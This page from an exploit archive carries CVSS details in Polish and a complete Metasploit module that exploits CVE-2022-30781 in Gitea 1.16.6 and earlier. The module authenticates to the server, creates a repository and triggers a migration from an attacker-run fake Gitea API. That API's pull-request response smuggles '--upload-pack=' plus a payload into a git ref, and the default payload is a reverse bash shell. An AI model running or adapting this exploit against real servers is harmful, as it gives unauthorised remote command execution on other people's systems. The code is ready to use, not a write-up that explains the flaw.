Gitea 1.16.6 Remote Code Execution

2022.09.15
Credit: krastanoel
Risk: High
Local: No
Remote: Yes
CWE: CWE-116


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

# Exploit Title: Gitea Git Fetch Remote Code Execution # Date: 09/14/2022 # Exploit Author: samguy # Vendor Homepage: https://gitea.io # Software Link: https://dl.gitea.io/gitea/1.16.6 # Version: <= 1.16.6 # Tested on: Linux - Debian # Ref : https://tttang.com/archive/1607/ # CVE : CVE-2022-30781 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Gitea Git Fetch Remote Code Execution', 'Description' => %q{ This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system. This vulnerability affect Gitea before 1.16.7 version. }, 'Author' => [ 'wuhan005 & li4n0', # Original PoC 'krastanoel' # MSF Module ], 'References' => [ ['CVE', '2022-30781'], ['URL', 'https://tttang.com/archive/1607/'] ], 'DisclosureDate' => '2022-05-16', 'License' => MSF_LICENSE, 'Platform' => %w[unix win], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } ) ) register_options([ Opt::RPORT(3000), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with']), OptString.new('PASSWORD', [true, 'Password to use']), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12]) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/user/login'), 'keep_cookies' => true ) return CheckCode::Unknown('No response from the web service') if res.nil? return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200 # Powered by Gitea Version: 1.16.6 unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/)) return CheckCode::Unknown('Target does not appear to be running Gitea.') end if match[:version].match(/[a-zA-Z]/) return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.") end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/user/login'), 'vars_post' => { 'user_name' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], '_csrf' => get_csrf(res.get_cookies) }, 'keep_cookies' => true ) return CheckCode::Safe('Authentication failed') if res&.code != 302 if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6') return CheckCode::Appears("Version detected: #{match[:version]}") end CheckCode::Safe("Version detected: #{match[:version]}") rescue ::Rex::ConnectionError return CheckCode::Unknown('Could not connect to the web service') end def primer ['/api/v1/version', '/api/v1/settings/api', "/api/v1/repos/#{@migrate_repo_path}", "/api/v1/repos/#{@migrate_repo_path}/pulls", "/api/v1/repos/#{@migrate_repo_path}/topics" ].each { |uri| hardcoded_uripath(uri) } # adding resources vprint_status("Creating repository \"#{@repo_name}\"") gitea_create_repo vprint_good('Repository created') vprint_status("Migrating repository") gitea_migrate_repo end def exploit @repo_name = rand_text_alphanumeric(6..15) @migrate_repo_name = rand_text_alphanumeric(6..15) @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}" datastore['URIPATH'] = "/#{@migrate_repo_path}" Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) } cleanup # removing all resources end def get_csrf(cookies) csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf csrf end def gitea_remove_repo(name) vprint_status("Cleanup: removing repository \"#{name}\"") uri = "/#{datastore['username']}/#{name}/settings" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, uri), 'keep_cookies' => true ) res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'action' => 'delete', 'repo_name' => name, '_csrf' => get_csrf(res.get_cookies) }, 'keep_cookies' => true ) vprint_warning('Unable to remove repository') if res&.code != 302 end def gitea_create_repo uri = normalize_uri(target_uri.path, '/repo/create') res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true) @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'uid' => @uid, 'auto_init' => 'on', 'readme' => 'Default', 'repo_name' => @repo_name, 'trust_model' => 'default', 'default_branch' => 'master', '_csrf' => get_csrf(res.get_cookies) }, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302 rescue ::Rex::ConnectionError return CheckCode::Unknown('Could not connect to the web service') end def gitea_migrate_repo res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/repo/migrate'), 'keep_cookies' => true ) uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type'] res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, uri), 'keep_cookies' => true ) res = send_request_cgi( 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'uid' => @uid, 'service' => svc_type, 'pull_requests' => 'on', 'repo_name' => @migrate_repo_name, '_csrf' => get_csrf(res.get_cookies), 'auth_token' => rand_text_alphanumeric(6..15), 'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}", }, 'keep_cookies' => true ) if res&.code != 302 # possibly triggered by the [migrations] settings err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text gitea_remove_repo(@repo_name) cleanup fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}") end rescue ::Rex::ConnectionError return CheckCode::Unknown('Could not connect to the web service') end def on_request_uri(cli, req) case req.uri when '/api/v1/version' send_response(cli, '{"version": "1.16.6"}') when '/api/v1/settings/api' data = { 'max_response_items':50,'default_paging_num':30, 'default_git_trees_per_page':1000,'default_max_blob_size':10485760 } send_response(cli, data.to_json) when "/api/v1/repos/#{@migrate_repo_path}" data = { "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}", "owner": { "login": datastore['username'] } } send_response(cli, data.to_json) when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1" send_response(cli, '{"topics":[]}') when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all" data = [ { "base": { "ref": "master", }, "head": { "ref": "--upload-pack=#{payload.encoded}", "repo": { "clone_url": "./", "owner": { "login": "master" }, } }, "updated_at": "2001-01-01T05:00:00+01:00", "user": {} } ] send_response(cli, data.to_json) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top